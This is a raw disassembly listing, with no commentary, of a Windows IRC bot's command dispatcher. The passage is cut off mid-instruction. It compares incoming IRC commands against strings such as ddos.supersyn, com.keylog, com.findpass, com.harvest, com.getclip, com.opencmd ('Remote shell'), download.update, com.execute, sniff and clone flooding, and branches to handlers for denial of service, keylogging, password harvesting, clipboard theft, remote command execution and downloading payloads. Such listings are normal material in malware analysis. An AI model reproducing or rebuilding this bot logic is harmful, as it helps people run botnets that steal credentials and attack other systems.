offset dword_4380B8 jnz short loc_410249 mov eax, offset dword_438084 loc_410249: ; CODE XREF: sub_40EE72+13D0j push eax lea eax, [ebp+var_2DC] push eax call sub_4172B0 push ebx lea eax, [ebp+var_2DC] push [ebp+var_4] push eax push [ebp+var_8C] push [ebp+arg_4] call sub_40D679 add esp, 1Ch jmp loc_40F822 ; --------------------------------------------------------------------------- loc_410277: ; CODE XREF: sub_40EE72+13C2j push edi push offset aThreads_list ; "threads.list" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_4149DE push edi push offset aThreads_l ; "threads.l" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_4149DE push edi push offset aIrc_aliases ; "irc.aliases" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_4149BE push edi push offset aIrc_al ; "irc.al" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_4149BE push edi push offset aIrc_log ; "irc.log" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_4148CB push edi push offset aIrc_lg ; "irc.lg" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_4148CB push edi push offset aUtil_clearlog ; "util.clearlog" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_4148B2 push edi push offset aUtil_clg ; "util.clg" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_4148B2 push edi push offset aCom_netinfo ; "com.netinfo" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_414880 push edi push offset aCom_ni ; "com.ni" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_414880 push edi push offset aDdos_supersyn ; "ddos.supersyn" call sub_4176D0 pop ecx test eax, eax pop ecx jnz loc_410459 mov edi, [ebp+esi+var_90] push 7Fh lea eax, [ebp+var_76C] push edi push eax call sub_418C10 mov eax, [ebp+esi+var_8C] push 7Fh mov [ebp+arg_18], eax push eax lea eax, [ebp+var_6EC] push eax call sub_418C10 mov esi, [ebp+esi+var_88] push 7Fh lea eax, [ebp+var_66C] push esi push eax call sub_418C10 push 7Fh lea eax, [ebp+var_5EC] push [ebp+var_8C] push eax call sub_418C10 mov eax, [ebp+var_4] add esp, 30h mov [ebp+var_568], eax mov eax, [ebp+var_8] push esi mov [ebp+var_564], eax mov eax, [ebp+arg_4] push [ebp+arg_18] mov [ebp+var_770], eax lea eax, [ebp+var_2DC] push edi push offset unk_437FC4 push eax call sub_4172B0 push ebx lea eax, [ebp+var_2DC] push 14h push eax call sub_416D5C add esp, 20h mov [ebp+var_56C], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_770] push ebx push eax push offset sub_401831 push ebx push ebx nop call near ptr 2670BF1h mov ecx, [ebp+var_56C] imul ecx, 234h cmp eax, ebx mov dword_4450D4[ecx], eax jz short loc_410448 loc_410432: ; CODE XREF: sub_40EE72+15D4j cmp [ebp+var_560], ebx jnz loc_41460C push 32h nop call near ptr 2600833h jmp short loc_410432 ; --------------------------------------------------------------------------- loc_410448: ; CODE XREF: sub_40EE72+15BEj nop call near ptr 26402CBh push eax push offset unk_437F78 jmp loc_413BFD ; --------------------------------------------------------------------------- loc_410459: ; CODE XREF: sub_40EE72+14E6j push edi push offset aCom_sysinfo ; "com.sysinfo" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_414852 push edi push offset aCom_si ; "com.si" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_414852 push edi push offset aIrc_rem0ve ; "irc.rem0ve" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_414818 push edi push offset aIrc_rm0 ; "irc.rm0" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_414818 push edi push offset aCom_procs ; "com.procs" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_41470F push edi push offset aCom_ps ; "com.ps" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_41470F push edi push offset aCom_harvest ; "com.harvest" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_4146F1 push edi push offset aCom_key ; "com.key" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_4146F1 push edi push offset aCom_uptime ; "com.uptime" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_41466C push edi push offset aCom_up ; "com.up" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_41466C push edi push offset aCom_driveinfo ; "com.driveinfo" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_41464F push edi push offset aCom_drv ; "com.drv" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_41464F push edi push offset aCom_testdlls ; "com.testdlls" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_414636 push edi push offset aCom_dll ; "com.dll" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_414636 push edi push offset aCom_opencmd ; "com.opencmd" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_4145CA push edi push offset aCom_ocmd ; "com.ocmd" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_4145CA push edi push offset aCom_ocmd_off ; "com.ocmd.off" call sub_4176D0 pop ecx test eax, eax pop ecx jnz short loc_4105D2 push [ebp+esi+var_90] push 7 push offset aRemoteShell ; "Remote shell" push offset aCmd ; "[CMD]" jmp loc_40FED3 ; --------------------------------------------------------------------------- loc_4105D2: ; CODE XREF: sub_40EE72+1746j push edi push offset aIrc_who ; "irc.who" call sub_4176D0 pop ecx test eax, eax pop ecx jnz short loc_41065E cmp [ebp+var_8], ebx jnz short loc_410602 push ebx push [ebp+var_4] push offset aLoginList ; "-[Login List]-" push [ebp+var_8C] push [ebp+arg_4] call sub_40D679 add esp, 14h loc_410602: ; CODE XREF: sub_40EE72+1774j mov edi, [ebp+arg_18] xor esi, esi loc_410607: ; CODE XREF: sub_40EE72+17DBj cmp [edi], bl lea eax, [edi+1] jnz short loc_410613 mov eax, offset aEmpty ; "<Empty>" loc_410613: ; CODE XREF: sub_40EE72+179Aj push eax push esi lea eax, [ebp+var_2DC] push offset aD_S ; "%d. %s" push eax call sub_4172B0 push 1 lea eax, [ebp+var_2DC] push [ebp+var_4] push eax push [ebp+var_8C] push [ebp+arg_4] call sub_40D679 add esp, 24h inc esi add edi, 80h cmp esi, 2 jl short loc_410607 push offset dword_437E4C loc_410654: ; CODE XREF: sub_40EE72+5C58j call sub_40BF6D jmp loc_414F46 ; --------------------------------------------------------------------------- loc_41065E: ; CODE XREF: sub_40EE72+176Fj push edi push offset aCom_getclip ; "com.getclip" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_414581 push edi push offset aCom_gc ; "com.gc" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_414581 push edi push offset aUtil_flusharp ; "util.flusharp" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_414556 push edi push offset aUtil_farp ; "util.farp" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_414556 push edi push offset aUtil_flushdns ; "util.flushdns" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_414532 push edi push offset aUtil_fdns ; "util.fdns" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_414532 push edi push offset aRoot_currentip ; "root.currentip" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_4144F5 push edi push offset aRoot_cip ; "root.cip" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_4144F5 push edi push offset aDaemon_rlogi_0 ; "daemon.rlogin.on" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_4143A4 push edi push offset aDaemon_rl_on ; "daemon.rl.on" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_4143A4 push edi push offset aDaemon_httpd_o ; "daemon.httpd.on" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_41422E push edi push offset aDaemon_web_on ; "daemon.web.on" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_41422E push edi push offset aDaemon_tftp_on ; "daemon.tftp.on" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_4140ED push edi push offset aDaemon_tf_on ; "daemon.tf.on" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_4140ED push edi push offset aCom_findpass ; "com.findpass" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_414043 push edi push offset aCom_fp ; "com.fp" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_414043 push edi push offset aAsc ; "asc" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_413D44 push edi push offset aSad ; "sad" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_413D44 mov edi, [ebp+esi+var_90] cmp edi, ebx jz loc_40F239 push [ebp+arg_8] push offset aIrc_nick ; "irc.nick" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_413D28 push [ebp+arg_8] push offset aIrc_n ; "irc.n" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_413D28 push [ebp+arg_8] push offset aIrc_join ; "irc.join" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_413D05 push [ebp+arg_8] push offset aIrc_j ; "irc.j" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_413D05 push [ebp+arg_8] push offset aIrc_part ; "irc.part" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_413CE9 push [ebp+arg_8] push offset aIrc_pt ; "irc.pt" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_413CE9 push [ebp+arg_8] push offset aIrc_raw ; "irc.raw" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_413CAF push [ebp+arg_8] push offset aIrc_ra ; "irc.ra" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_413CAF push [ebp+arg_8] push offset aThreads_kill ; "threads.kill" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_413BDD push [ebp+arg_8] push offset aThreads_k ; "threads.k" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_413BDD push [ebp+arg_8] push offset aClone_quit ; "clone.quit" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_413B34 push [ebp+arg_8] push offset aClone_q ; "clone.q" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_413B34 push [ebp+arg_8] push offset aClone_rndnick ; "clone.rndnick" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_413AE6 push [ebp+arg_8] push offset aClone_rn ; "clone.rn" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_413AE6 push [ebp+arg_8] push offset aIrc_prefix ; "irc.prefix" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_413AD1 push [ebp+arg_8] push offset aIrc_pr ; "irc.pr" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_413AD1 push [ebp+arg_8] push offset aCom_open ; "com.open" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_413AA7 push [ebp+arg_8] push offset aCom_o ; "com.o" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_413AA7 push [ebp+arg_8] push offset aIrc_setserve ; "irc.setserve" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_413A8E push [ebp+arg_8] push offset aIrc_se ; "irc.se" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_413A8E push [ebp+arg_8] push offset aIrc_dns ; "irc.dns" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_4139FC push [ebp+arg_8] push offset aIrc_dn ; "irc.dn" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_4139FC push [ebp+arg_8] push offset aCom_killprocna ; "com.killprocname" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_4139D0 push [ebp+arg_8] push offset aCom_kpn ; "com.kpn" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_4139D0 push [ebp+arg_8] push offset aCom_prockillid ; "com.prockillid" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_413975 push [ebp+arg_8] push offset aCom_pkid ; "com.pkid" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_413975 push [ebp+arg_8] push offset aCom_delete ; "com.delete" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_41393A push [ebp+arg_8] push offset aCom_del ; "com.del" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_41393A push [ebp+arg_8] push offset aDcc_get ; "dcc.get" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_413850 push [ebp+arg_8] push offset aDcc_gt ; "dcc.gt" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_413850 push [ebp+arg_8] push offset aCom_filelist ; "com.filelist" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_413832 push [ebp+arg_8] push offset aCom_fl ; "com.fl" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_413832 push [ebp+arg_8] push offset aIrc_visit ; "irc.visit" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_413751 push [ebp+arg_8] push offset aIrc_v ; "irc.v" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_413751 push [ebp+arg_8] push offset aMirc_cmd ; "mirc.cmd" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_413716 push [ebp+arg_8] push offset aMirc_cmd ; "mirc.cmd" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_413716 push [ebp+arg_8] push offset aCom_cmd ; "com.cmd" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_4136CB push [ebp+arg_8] push offset aCom_cm ; "com.cm" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_4136CB push [ebp+arg_8] push offset aCom_readfile ; "com.readfile" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_413645 push [ebp+arg_8] push offset aCom_rf ; "com.rf" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_413645 push [ebp+arg_8] push offset aSniff ; "sniff" call sub_4176D0 pop ecx test eax, eax pop ecx jnz loc_410CCC push edi push offset aOn ; "on" call sub_4176D0 pop ecx test eax, eax pop ecx jnz loc_410C97 push 19h call sub_416FA4 test eax, eax pop ecx jle short loc_410BC1 push offset unk_437B80 jmp loc_410D38 ; --------------------------------------------------------------------------- loc_410BC1: ; CODE XREF: sub_40EE72+1D43j mov eax, [ebp+arg_4] mov esi, [ebp+esi+var_8C] mov [ebp+var_4F0], eax mov eax, [ebp+var_4] mov [ebp+var_468], eax mov eax, [ebp+var_8] cmp esi, ebx mov [ebp+var_464], eax jnz short loc_410C03 mov esi, offset aF_1 ; "#f" push offset byte_43C80C push esi call sub_4176D0 pop ecx test eax, eax pop ecx jnz short loc_410C03 mov esi, [ebp+var_8C] loc_410C03: ; CODE XREF: sub_40EE72+1D73j ; sub_40EE72+1D89j push esi lea eax, [ebp+var_4EC] push 80h push eax call sub_41782A add esp, 0Ch lea eax, [ebp+var_2DC] push offset unk_437B40 push eax call sub_4172B0 push ebx lea eax, [ebp+var_2DC] push 19h push eax call sub_416D5C add esp, 14h mov [ebp+var_46C], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_4F0] push ebx push eax push offset sub_402688 push ebx push ebx nop call near ptr 2670BF1h mov ecx, [ebp+var_46C] imul ecx, 234h cmp eax, ebx mov dword_4450D4[ecx], eax jz short loc_410C86 loc_410C70: ; CODE XREF: sub_40EE72+1E12j cmp [ebp+var_460], ebx jnz loc_410E57 push 32h nop call near ptr 2600833h jmp short loc_410C70 ; --------------------------------------------------------------------------- loc_410C86: ; CODE XREF: sub_40EE72+1DFCj nop call near ptr 26402CBh push eax push offset unk_437AF4 jmp loc_410E48 ; --------------------------------------------------------------------------- loc_410C97: ; CODE XREF: sub_40EE72+1D33j push edi push offset aOff ; "off" call sub_4176D0 pop ecx test eax, eax pop ecx jnz loc_410E57 push ebx push 19h call sub_416F57 pop ecx cmp eax, ebx pop ecx jle short loc_410CC5 push eax push offset unk_437AA8 jmp loc_410E48 ; --------------------------------------------------------------------------- loc_410CC5: ; CODE XREF: sub_40EE72+1E46j push offset unk_437A70 jmp short loc_410D38 ; --------------------------------------------------------------------------- loc_410CCC: ; CODE XREF: sub_40EE72+1D1Ej push [ebp+arg_8] push offset aCom_keylog ; "com.keylog" call sub_4176D0 pop ecx test eax, eax pop ecx jnz loc_410E81 push edi push offset aOn ; "on" call sub_4176D0 pop ecx test eax, eax pop ecx jz short loc_410D4B push edi push offset aFile ; "file" call sub_4176D0 pop ecx test eax, eax pop ecx jz short loc_410D4B push edi push offset aOff ; "off" call sub_4176D0 pop ecx test eax, eax pop ecx jnz loc_410E57 push ebx push 1Bh call sub_416F57 pop ecx cmp eax, ebx pop ecx jle short loc_410D33 push eax push offset unk_437A18 jmp loc_410E48 ; --------------------------------------------------------------------------- loc_410D33: ; CODE XREF: sub_40EE72+1EB4j push offset unk_4379DC loc_410D38: ; CODE XREF: sub_40EE72+1D4Aj ; sub_40EE72+1E58j ... lea eax, [ebp+var_2DC] push eax call sub_4172B0 pop ecx pop ecx jmp loc_410E57 ; --------------------------------------------------------------------------- loc_410D4B: ; CODE XREF: sub_40EE72+1E80j ; sub_40EE72+1E91j push 1Bh call sub_416FA4 test eax, eax pop ecx jle short loc_410D5E push offset unk_4379AC jmp short loc_410D38 ; --------------------------------------------------------------------------- loc_410D5E: ; CODE XREF: sub_40EE72+1EE3j mov eax, [ebp+arg_4] push edi mov [ebp+var_4F0], eax mov eax, [ebp+var_4] push offset aFile ; "file" mov [ebp+var_468], eax call sub_4176D0 pop ecx test eax, eax pop ecx jnz short loc_410D8D mov [ebp+var_464], 1 jmp short loc_410D96 ; --------------------------------------------------------------------------- loc_410D8D: ; CODE XREF: sub_40EE72+1F0Dj mov eax, [ebp+var_8] mov [ebp+var_464], eax loc_410D96: ; CODE XREF: sub_40EE72+1F19j mov esi, [ebp+esi+var_8C] cmp esi, ebx jnz short loc_410DBD mov esi, offset aF_0 ; "#f" push offset byte_43C80C push esi call sub_4176D0 pop ecx test eax, eax pop ecx jnz short loc_410DBD mov esi, [ebp+var_8C] loc_410DBD: ; CODE XREF: sub_40EE72+1F2Dj ; sub_40EE72+1F43j push esi lea eax, [ebp+var_4E8] push 80h push eax call sub_41782A add esp, 0Ch lea eax, [ebp+var_2DC] push offset unk_43797C push eax call sub_4172B0 push ebx lea eax, [ebp+var_2DC] push 1Bh push eax call sub_416D5C add esp, 14h mov [ebp+var_4EC], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_4F0] push ebx push eax push offset sub_4023A7 push ebx push ebx nop call near ptr 2670BF1h mov ecx, [ebp+var_4EC] imul ecx, 234h cmp eax, ebx mov dword_4450D4[ecx], eax jz short loc_410E3C loc_410E2A: ; CODE XREF: sub_40EE72+1FC8j cmp [ebp+var_460], ebx jnz short loc_410E57 push 32h call near ptr 2600833h nop jmp short loc_410E2A ; --------------------------------------------------------------------------- loc_410E3C: ; CODE XREF: sub_40EE72+1FB6j nop call near ptr 26402CBh push eax push offset unk_437930 loc_410E48: ; CODE XREF: sub_40EE72+1E20j ; sub_40EE72+1E4Ej ... lea eax, [ebp+var_2DC] push eax call sub_4172B0 add esp, 0Ch loc_410E57: ; CODE XREF: sub_40EE72+1E04j ; sub_40EE72+1E34j ... cmp [ebp+var_8], ebx jnz loc_40F822 push ebx lea eax, [ebp+var_2DC] push [ebp+var_4] push eax push [ebp+var_8C] push [ebp+arg_4] call sub_40D679 add esp, 14h jmp loc_40F822 ; --------------------------------------------------------------------------- loc_410E81: ; CODE XREF: sub_40EE72+1E6Bj push [ebp+arg_8] push offset aCom_net ; "com.net" call sub_4176D0 pop ecx test eax, eax pop ecx jnz loc_411114 cmp dword_43F738, ebx jz short loc_410EB2 cmp dword_43F760, ebx jz short loc_410EB2 push offset dword_4378E0 jmp loc_4110CE ; --------------------------------------------------------------------------- loc_410EB2: ; CODE XREF: sub_40EE72+202Cj ; sub_40EE72+2034j cmp [ebp+var_C], ebx jz loc_4110DC mov eax, [ebp+esi+var_8C] mov [ebp+arg_0], ebx cmp eax, ebx mov [ebp+arg_18], eax jz short loc_410EDA push eax push [ebp+var_C] call sub_417880 pop ecx mov [ebp+arg_0], eax pop ecx loc_410EDA: ; CODE XREF: sub_40EE72+2058j push edi push offset aStart ; "start" call sub_4176D0 pop ecx test eax, eax pop ecx jnz short loc_410F26 cmp [ebp+arg_18], ebx jz short loc_410EFA push [ebp+arg_0] push 3 jmp loc_410F84 ; --------------------------------------------------------------------------- loc_410EFA: ; CODE XREF: sub_40EE72+207Cj push [ebp+var_4] push [ebp+var_8C] push [ebp+arg_4] call sub_40D9B3 add esp, 0Ch test eax, eax jz short loc_410F1C push offset dword_4378AC jmp loc_4110CE ; --------------------------------------------------------------------------- loc_410F1C: ; CODE XREF: sub_40EE72+209Ej push offset dword_43787C jmp loc_4110CE ; --------------------------------------------------------------------------- loc_410F26: ; CODE XREF: sub_40EE72+2077j push edi push offset aStop ; "stop" call sub_4176D0 pop ecx test eax, eax pop ecx jnz short loc_410F3E push [ebp+arg_0] push 4 jmp short loc_410F84 ; --------------------------------------------------------------------------- loc_410F3E: ; CODE XREF: sub_40EE72+20C3j push edi push offset aPause ; "pause" call sub_4176D0 pop ecx test eax, eax pop ecx jnz short loc_410F56 push [ebp+arg_0] push 5 jmp short loc_410F84 ; --------------------------------------------------------------------------- loc_410F56: ; CODE XREF: sub_40EE72+20DBj push edi push offset aContinue ; "continue" call sub_4176D0 pop ecx test eax, eax pop ecx jnz short loc_410F6E push [ebp+arg_0] push 6 jmp short loc_410F84 ; --------------------------------------------------------------------------- loc_410F6E: ; CODE XREF: sub_40EE72+20F3j push edi push offset aDelete ; "delete" call sub_4176D0 pop ecx test eax, eax pop ecx jnz short loc_410F90 push [ebp+arg_0] push 1 loc_410F84: ; CODE XREF: sub_40EE72+2083j ; sub_40EE72+20CAj ... call sub_40D719 pop ecx pop ecx jmp loc_4110AB ; --------------------------------------------------------------------------- loc_410F90: ; CODE XREF: sub_40EE72+210Bj push edi push offset aShare ; "share" call sub_4176D0 pop ecx test eax, eax pop ecx jnz short loc_410FFB cmp [ebp+arg_18], ebx jz short loc_410FCE cmp [ebp+var_9C4], bl jz short loc_410FC1 push ebx push [ebp+arg_18] push 1 loc_410FB4: ; CODE XREF: sub_40EE72+215Aj call sub_40DAF0 add esp, 0Ch jmp loc_4110AB ; --------------------------------------------------------------------------- loc_410FC1: ; CODE XREF: sub_40EE72+213Aj push [ebp+esi+var_88] push [ebp+arg_18] push ebx jmp short loc_410FB4 ; --------------------------------------------------------------------------- loc_410FCE: ; CODE XREF: sub_40EE72+2132j push ebx push [ebp+var_4] push [ebp+var_8C] push [ebp+arg_4] call sub_40DCE6 add esp, 10h test eax, eax jz short loc_410FF1 push offset dword_43782C jmp loc_4110CE ; --------------------------------------------------------------------------- loc_410FF1: ; CODE XREF: sub_40EE72+2173j push offset dword_4377FC jmp loc_4110CE ; --------------------------------------------------------------------------- loc_410FFB: ; CODE XREF: sub_40EE72+212Dj push edi push offset aUser ; "user" call sub_4176D0 pop ecx test eax, eax pop ecx jnz short loc_41107E mov eax, [ebp+arg_18] cmp eax, ebx jz short loc_411057 cmp [ebp+var_9C4], bl jz short loc_41102D push [ebp+var_4] push [ebp+var_8C] push [ebp+arg_4] push ebx push eax push 1 jmp short loc_411047 ; --------------------------------------------------------------------------- loc_41102D: ; CODE XREF: sub_40EE72+21A7j push [ebp+var_4] mov esi, [ebp+esi+var_88] cmp esi, ebx push [ebp+var_8C] push [ebp+arg_4] jz short loc_411051 push esi push eax push ebx loc_411047: ; CODE XREF: sub_40EE72+21B9j ; sub_40EE72+21E3j call sub_40DE07 add esp, 18h jmp short loc_4110AB ; --------------------------------------------------------------------------- loc_411051: ; CODE XREF: sub_40EE72+21D0j push ebx push eax push 2 jmp short loc_411047 ; --------------------------------------------------------------------------- loc_411057: ; CODE XREF: sub_40EE72+219Fj push ebx push [ebp+var_4] push [ebp+var_8C] push [ebp+arg_4] call sub_40E337 add esp, 10h test eax, eax jz short loc_411077 push offset dword_4377C4 jmp short loc_4110CE ; --------------------------------------------------------------------------- loc_411077: ; CODE XREF: sub_40EE72+21FCj push offset dword_437798 jmp short loc_4110CE ; --------------------------------------------------------------------------- loc_41107E: ; CODE XREF: sub_40EE72+2198j push edi push offset aSend ; "send" call sub_4176D0 pop ecx test eax, eax pop ecx jnz short loc_4110C9 cmp [ebp+arg_18], ebx jz short loc_4110C2 push [ebp+var_4] push [ebp+var_8C] push [ebp+arg_4] push [ebp+arg_0] call sub_40E5EB add esp, 10h loc_4110AB: ; CODE XREF: sub_40EE72+2119j ; sub_40EE72+214Aj ... push eax push offset aS_1 ; "%s" loc_4110B1: ; CODE XREF: sub_40EE72+4854j ; sub_40EE72+4B7Bj ... lea eax, [ebp+var_2DC] push eax call sub_4172B0 loc_4110BD: ; CODE XREF: sub_40EE72+5703j add esp, 0Ch jmp short loc_4110DC ; --------------------------------------------------------------------------- loc_4110C2: ; CODE XREF: sub_40EE72+2220j push offset dword_437768 jmp short loc_4110CE ; --------------------------------------------------------------------------- loc_4110C9: ; CODE XREF: sub_40EE72+221Bj push offset dword_43773C loc_4110CE: ; CODE XREF: sub_40EE72+203Bj ; sub_40EE72+20A5j ... lea eax, [ebp+var_2DC] push eax call sub_4172B0 pop ecx pop ecx loc_4110DC: ; CODE XREF: sub_40EE72+2043j ; sub_40EE72+224Ej ... cmp [ebp+var_8], ebx jnz short loc_4110FD push ebx lea eax, [ebp+var_2DC] push [ebp+var_4] push eax push [ebp+var_8C] push [ebp+arg_4] call sub_40D679 add esp, 14h loc_4110FD: ; CODE XREF: sub_40EE72+226Dj ; sub_40EE72+4849j ... mov esi, [ebp+arg_24] loc_411100: ; CODE XREF: sub_40EE72+9B3j ; sub_40EE72+4B37j ... lea eax, [ebp+var_2DC] push eax call sub_40BF6D pop ecx mov eax, esi jmp loc_40F23C ; --------------------------------------------------------------------------- loc_411114: ; CODE XREF: sub_40EE72+2020j push [ebp+arg_8] push offset aCom_capture ; "com.capture" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_413402 push [ebp+arg_8] push offset aCom_cap ; "com.cap" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_413402 push [ebp+arg_8] push offset aIrc_gethost ; "irc.gethost" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_413314 push [ebp+arg_8] push offset aIrc_gh ; "irc.gh" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_413314 mov eax, [ebp+esi+var_8C] cmp eax, ebx mov [ebp+arg_18], eax jz loc_40F239 push [ebp+arg_8] push offset aIrc_addalias ; "irc.addalias" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_4132E2 push [ebp+arg_8] push offset aIrc_aa ; "irc.aa" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_4132E2 push [ebp+arg_8] push offset aIrc_privmsg ; "irc.privmsg" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_41328C push [ebp+arg_8] push offset aIrc_pm ; "irc.pm" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_41328C push [ebp+arg_8] push offset aIrc_action ; "irc.action" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_413226 push [ebp+arg_8] push offset aIrc_ac ; "irc.ac" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_413226 push [ebp+arg_8] push offset aIrc_cycle ; "irc.cycle" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_4131BD push [ebp+arg_8] push offset aIrc_cy ; "irc.cy" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_4131BD push [ebp+arg_8] push offset aIrc_mode ; "irc.mode" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_413183 push [ebp+arg_8] push offset aIrc_m ; "irc.m" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_413183 push [ebp+arg_8] push offset aClone_raw ; "clone.raw" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_413115 push [ebp+arg_8] push offset aClone_ra ; "clone.ra" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_413115 push [ebp+arg_8] push offset aClone_mode ; "clone.mode" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_413090 push [ebp+arg_8] push offset aClone_m ; "clone.m" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_413090 push [ebp+arg_8] push offset aClone_nick ; "clone.nick" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_413024 push [ebp+arg_8] push offset aClone_ni ; "clone.ni" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_413024 push [ebp+arg_8] push offset aClone_join ; "clone.join" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_412FFE push [ebp+arg_8] push offset aClone_j ; "clone.j" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_412FFE push [ebp+arg_8] push offset aClone_part ; "clone.part" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_412F9B push [ebp+arg_8] push offset aClone_p ; "clone.p" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_412F9B push [ebp+arg_8] push offset aIrc_repeat ; "irc.repeat" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_412ED2 push [ebp+arg_8] push offset aIrc_rp ; "irc.rp" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_412ED2 push [ebp+arg_8] push offset aIrc_delay ; "irc.delay" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_412E35 push [ebp+arg_8] push offset aIrc_de ; "irc.de" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_412E35 push [ebp+arg_8] push offset aDownload_updat ; "download.update" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_412CB1 push [ebp+arg_8] push offset aDownload_up ; "download.up" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_412CB1 push [ebp+arg_8] push offset aCom_execute ; "com.execute" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_412C1E push [ebp+arg_8] push offset aCom_e ; "com.e" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_412C1E push [ebp+arg_8] push offset aFindfile ; "findfile" call sub_4176D0 pop ecx test 